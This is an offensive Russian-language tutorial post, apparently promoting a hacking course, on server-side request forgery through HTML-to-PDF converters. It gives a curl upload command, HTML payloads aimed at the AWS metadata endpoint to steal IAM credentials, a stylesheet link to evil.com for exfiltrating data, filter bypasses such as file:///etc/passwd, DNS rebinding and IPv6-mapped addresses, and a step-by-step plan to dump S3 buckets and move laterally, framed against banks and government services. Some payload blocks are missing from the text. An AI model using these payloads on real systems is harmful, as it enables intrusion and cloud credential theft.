Авторские курсы Михаила Тарасова

SSRF через PDF-конвертеры

SSRF через PDF-конвертеры

Точка входа:
Что вижу: PDF-конвертеры типа “загрузи html → получишь pdf” крутятся на продах любого банка/гос-сервиса. Внутри часто wkhtmltopdf/PhantomJS/LibreOffice, которые жрут внешние ресурсы. Конвертеру дай картинку по URL — он сам пойдет качать.
Как поймал: берём curl -F "file=@payload.html" https://target.com/pdf и сканим сетку, вставляя <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/>.
Чем пахнет: Ядрёный SSRF (7/10) → от дампа internal panel до AWS creds и прямого RCE, если бэкенд тянет локалки.

SSRF через PDF-конвертеры
Почему это работает
PDF рендер движки устроены как браузер-бомж: видят ссылку на ресурс → тянут без разбора. Админы думают: «Пусть тянет логотип сайта из интернета», а забывают, что у тебя — полный контроль над HTML. В итоге:

<img src="http://internal.service.local/admin"> = рендер идёт во внутренку.
<iframe src="http://169.254.169.254/latest/meta-data/"> = лутаем токены AWS.
<link rel="stylesheet" href="http://evil.com/mal.css"> = exfil данных наружу.

Эксплойт
Простейший payload:

И дергаем сервис:

Открываешь loot.pdf — вместо картинки видишь JSON с AWS ключами. Это не баг-док, это ключи от всего S3.

Обход защиты
• Если фильтруют http:// → юзай file:///etc/passwd.
• Если резолвят только через DNS → DNS rebinding, подсовываешь свой домен, который сначала указывает на твой сервер, потом на 127.0.0.1.
• Если фильтруют 169.254.169.254 → IPv6-шорткат типа http://::ffff:169.254.169.254/.
Доказательство
Классика PoC через логотип:

Если в PDF видишь SQL-состояние или «Welcome PgAdmin» — поздравляю, у тебя внутренняя админка.

Советы:
3 вектора для добивания:

• Проверь, тянет ли конвертер JS → тогда у тебя полноценный XSS в headless Chromium, шанс RCE через puppeteer args.
• Экспериментируй с file:// → вытаскиваешь секреты в /etc/, ssh ключи, .env файлы.
• Если сервис в AWS — сразу бей по http://169.254.169.254/latest/user-data/ и …/iam/security-credentials/ для creds.

План атаки:
1. Генерим HTML с разными <img>, <iframe>, <link> и шлём в PDF API.
2. Чекаем выходной PDF на «лишние данные».
3. Эксплуатируем SSRF: лутаем AWS токены, идём в aws s3 ls, дампим бакеты.
4. Если доступ к internal — ищем панели (/grafana/, /jenkins/).
5. Дальше либо lateral movement (с ворованных токенов), либо добиваем до RCE через доп-инжекцию.

Этот баг — как школьник на free-VPN: никто его не ждал, но он уже влез в твой локалхост и качает токены.

Мои курсы